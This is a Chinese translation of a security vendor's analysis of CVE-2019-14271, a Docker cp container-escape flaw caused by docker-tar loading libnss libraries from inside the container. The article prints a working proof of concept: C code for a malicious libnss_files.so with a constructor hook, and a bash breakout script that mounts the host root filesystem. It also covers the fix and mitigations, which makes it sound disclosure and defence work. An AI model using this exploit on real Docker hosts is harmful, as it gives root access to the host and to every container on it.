摘要
在过去几年中,我们在各种容器平台(包括Docker、Podman和Kubernetes)中发现了copy(cp)命令中存在多个漏洞。其中,迄今为止最严重的的一个漏洞是在今年7月被发现和披露的。然而,在该漏洞发布的当时,并没有立即引起太多关注,可能是由于CVE的描述不明确,并且缺少已经发布的漏洞利用方式。
CVE-2019-14271是一个Docker cp命令实现中存在的安全问题,当被攻击者利用时,该问题可能导致容器的完全逃逸。自从今年二月发现了严重的runC漏洞以来,这是后续发现的首个完整容器逃逸漏洞。
如果容器已经被先前的攻击过程破坏(例如:借助其他任何漏洞、借助泄露的信息等),或者当用户从不受信任的来源(例如:注册表等来源)运行恶意容器映像时,可以利用该漏洞。如果用户随后执行存在漏洞的cp命令从受感染的容器中复制文件,那么攻击者就可以实现逃逸,并完全控制主机和其中的所有其他容器。
CVE-2019-14271在Docker 19.33.1版本中已经被标记为关键漏洞,且目前已经修复。在CVE-2019-14271漏洞修复后,我们对其进行了研究,并对该漏洞的第一个概念证明(PoC)进行了分析。
我和Ariel Zelivansky一直密切关注流行容器平台上存在的漏洞,在近期发现其中的复制漏洞数量有明显增长趋势,因此,我们将在11月20日圣地亚哥的KubeCon+CloudNativeCon 2019上介绍我们的发现。我们将深入探讨以前的漏洞、各种不同的漏洞实现以及导致这一相对简单的命令难以实现的根本原因。此外,我们还将讨论为解决此问题而编写的一些新内核功能。
Docker cp
Copy命令允许从容器复制文件、复制文件到容器以及在容器之间复制文件。其语法与标准Unix中的cp命令非常相似。要从容器中复制/var/logs,需要使用的语法为:docker cp container_name:/var/logs /some/host/path。
正如我们在下图中所看到的,要将文件复制到容器外,Docker借助了一个名为docker-tar的帮助进程。
从容器中复制文件:
Docker-tar的工作原理是对文件进行chroot(如下图所示),将请求的文件和目录放在其中,然后将生成的tar文件传递回Docker守护程序,该守护程序负责将其提取到宿主机的目标目录中。
Docker-tar chroot进入容器:
之所以选择chroot的方式,有一个主要原因是为了避免符号链接问题,当主机进程尝试访问容器上的文件时,可能会产生符号链接的问题。在这些文件中,如果包含符号链接,那么可能会在无意中将其解析为主机根目录。这就为攻击者控制的容器敞开了大门,使得攻击者可以尝试让docker cp在宿主机而非容器上读取和写入文件。在2018年,有几个在Docker和Podman中发现的CVE漏洞是与符号链接相关的。通过进入到容器的根目录,docker-tar能确保所有符号链接都在其目录下被有效地解析。
但遗憾的是,在从容器中复制文件时,这样“扎根到容器中”的过程为更严重的漏洞埋下了伏笔。
CVE-2019-14271漏洞分析
Docker是使用Golang语言编写的。具体而言,易受攻击的Docker版本是使用Go v1.11编译而成的。在这个版本中,某些包含嵌入式C语言代码(cgo)的软件包在运行时动态加载共享库。这些软件包包括net和os/user,都会被docker-tar使用,它们会在运行时加载多个libnss_*.so库。通常,这些库会从宿主机的文件系统中加载,但是由于docker-tar会chroots到容器中,因此它会从容器文件系统中加载库。这也就意味着,docker-tar将加载并执行由容器发起和控制的代码。
需要说明的是,除了被chroot到容器文件系统之外,docker-tar并没有被容器化。它运行在宿主机的命名空间中,具有所有root能力,并且不会受到cgroups或seccomp的限制。
有一种可能的攻击场景,是Docker用户从以下任一用户的位置复制一些文件:
(1)运行包含恶意libnss_*.so库中恶意映像的容器;
(2)受到攻击的容器,且攻击者替换了其中的libnss_*.so库。
在这两种情况时,攻击者都可以在宿主机上实现root权限的任意代码执行。
这里顺便提一个有趣的事实,这个漏洞实际上是从GitHub问题中发现的。该用户试图从debian:buster-slim容器中复制文件,过程中发现docker cp反复多次出现失败的情况。其问题在于,这个特定的映像中不包含libnss库。因此,当用户运行docker cp,且docker-tar进程尝试从容器文件系统加载它们时,会出现失败并崩溃的情况。
漏洞利用
如果要利用CVE-2019-14271漏洞,需要构建一个恶意的libnss库。我们随机选择一个libnss_files.so,下载了这个库的源代码,并向其中一个源文件添加了函数run_at_link()。我还使用构造函数属性定义了该函数。构造函数属性(特定于GCC的语法)指示run_at_link函数在由进程加载时将作为我们所选择这个库的初始化函数执行。这意味着,当docker-tar进程动态加载我们的恶意库时,将执行run_at_link。下面是run_at_link的代码,为简洁起见有所裁剪。
#include ...
#define ORIGINAL_LIBNSS "/original_libnss_files.so.2"
#define LIBNSS_PATH "/lib/x86_64-linux-gnu/libnss_files.so.2"
bool is_priviliged();
__attribute__ ((constructor)) void run_at_link(void)
{
char * argv_break[2];
if (!is_priviliged())
return;
rename(ORIGINAL_LIBNSS, LIBNSS_PATH);
fprintf(log_fp, "switched back to the original libnss_file.so");
if (!fork())
{
// Child runs breakout
argv_break[0] = strdup("/breakout");
argv_break[1] = NULL;
execve("/breakout", argv_break, NULL);
}
else
wait(NULL); // Wait for child
return;
}
bool is_priviliged()
{
FILE * proc_file = fopen("/proc/self/exe", "r");
if (proc_file != NULL)
{
fclose(proc_file);
return false; // can open so /proc exists, not privileged
}
return true; // we're running in the context of docker-tar
}
run_at_link首先验证它是否在docker-tar上下文中运行,因为其他常规容器进程也可能会加载。该过程是通过检查/proc目录来实现的。如果run_at_link在docker-tar的上下文中运行,那么这个目录将为空,因为/proc上的procfs挂载仅存在于容器挂载的命名空间中。
接下来,run_at_link将恶意的libnss库替换为原始库。这样就可以确保利用该漏洞运行的所有后续进程都不会意外加载恶意版本并重新触发run_at_link的执行。
然后,为了简化利用,run_at_link尝试在容器中的/breakout路径处运行可执行文件。这将允许其他的漏洞利用可以以诸如bash的形式编写,而不一定是C语言。这一过程中将其余的逻辑排除在外,也意味着我们不用针对漏洞利用中的每一处更改都重新编译恶意库,而是只需要修改breakout二进制文件即可。
在下面的漏洞利用视频中,一个Docker用户运行了一个包含我们的恶意libnss_files.so库的恶意映像,然后尝试从容器中复制一些日志。映像中的/breakout二进制文件是一个简单的bash脚本,该脚本将宿主机上的文件系统挂载到容器的/host_fs处,同时还将一条消息写入到宿主机的/evil中。
演示视频:利用CVE-2019-14271突破Docker
https://unit42.paloaltonetworks.com/wp-content/uploads/2019/11/exploit_vid.mp4?_=1
以下是视频中所使用的/breakout脚本的来源。为了获得对宿主机root文件系统的引用,脚本在/proc挂载了procfs。由于docker-tar在主机的PID命名空间中运行,因此挂载的procfs将包含主机进程中的数据。然后,该脚本只需要挂载主机上PID为1的帐户(root)。
#!/bin/bash
umount /host_fs && rm -rf /host_fs
mkdir /host_fs
mount -t proc none /proc # mount the host's procfs over /proc
cd /proc/1/root # chdir to host's root
mount --bind . /host_fs # mount host root at /host_fs
echo "Hello from within the container!" > /host_fs/evil
漏洞修复方法
在该漏洞的修复代码中,修复了docker-tar的init函数,该函数可以从存在问题的Go软件包中调用任意函数。这将使得docker-tar在chroot到容器之前,从宿主机文件系统中加载libnss库。
CVE-2019-14271修复方法:
总结
允许在宿主机上以root执行代码的漏洞非常严重。因此,业务方需确认已经更新至Docker 19.03.1版本或更高版本,因为这些版本已经包含了针对这一漏洞的修复。为了限制此类攻击的攻击面,我们强烈建议大家不要轻易运行不受信任的映像。
除此之外,在不一定需要使用root用户的场景中,我们强烈建议以非root用户身份来运行容器。这样可以进一步提高其安全性,并能有效防范攻击者利用容器引擎或内核中可能存在的一些缺陷。针对这个CVE-2019-14271漏洞,如果我们的容器使用非root用户运行,就能有效防范相应攻击。即使攻击者成功攻破了我们的容器,他也无法覆盖容器的libnss库,因为这个库仅有root具有权限,所以无法实现漏洞利用。如果大家还想对此有更深入的了解,建议阅读Ariel Zelivansky的这篇文章,以明白以非root身份运行容器的安全优势。
除此之外,我们可以使用安全产品或安全服务来防范此类威胁:
(1)确保开发人员使用经过验证或经过批准的受信任映像。
(2)借助主机漏洞扫描工具,针对当前环境中运行存在漏洞软件包的容器发出告警,并检测出当前存在的CVE漏洞。这样可以确保我们的容器不会运行存在漏洞的代码,并能防范1-day攻击。
(3)使用运行时安全产品,识别并阻止恶意行为者访问并攻破我们的容器。
本文翻译自:https://unit42.paloaltonetworks.com/docker-patched-the-most-severe-copy-vulnerability-to-date-with-cve-2019-14271/